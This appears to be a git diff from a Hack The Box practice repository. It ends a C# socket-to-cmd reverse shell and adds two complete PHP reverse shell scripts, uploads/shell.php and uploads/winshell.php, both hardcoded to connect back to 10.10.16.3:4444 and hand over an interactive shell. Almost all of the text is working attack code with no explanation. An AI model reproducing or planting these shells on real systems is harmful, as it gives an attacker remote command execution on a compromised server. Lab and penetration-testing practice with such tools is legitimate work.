oursocket = WSASocket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.IP, IntPtr.Zero, 0, 0);
socketinfo = new sockaddr_in();
socketinfo.sin_family = (short) AddressFamily.InterNetwork;
socketinfo.sin_addr = inet_addr(server);
socketinfo.sin_port = (short) htons((ushort)port);
connect(oursocket, ref socketinfo, Marshal.SizeOf(socketinfo));
send(oursocket, bytesSent, request.Length, 0);
SpawnProcessAsPriv(oursocket);
closesocket(oursocket);
}
protected void SpawnProcess(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
}
protected void SpawnProcessAsPriv(IntPtr oursocket)
{
bool retValue;
string Application = Environment.GetEnvironmentVariable("comspec");
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
STARTUPINFO sInfo = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
pSec.Length = Marshal.SizeOf(pSec);
sInfo.dwFlags = 0x00000101;
IntPtr DupeToken = new IntPtr(0);
sInfo.hStdInput = oursocket;
sInfo.hStdOutput = oursocket;
sInfo.hStdError = oursocket;
if (DupeToken == IntPtr.Zero)
retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
else
retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo);
WaitForSingleObject(pInfo.hProcess, (int)INFINITE);
CloseHandle(DupeToken);
}
</script>

116
HTB/uploads/shell.php Normal file
View File

@@ -0,0 +1,116 @@
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.3';
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

Binary file not shown.

180
HTB/uploads/winshell.php Normal file
View File

@@ -0,0 +1,180 @@
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = 'cmd';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '&lt;', $data);
$data = str_replace('>', '&gt;', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.16.3', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>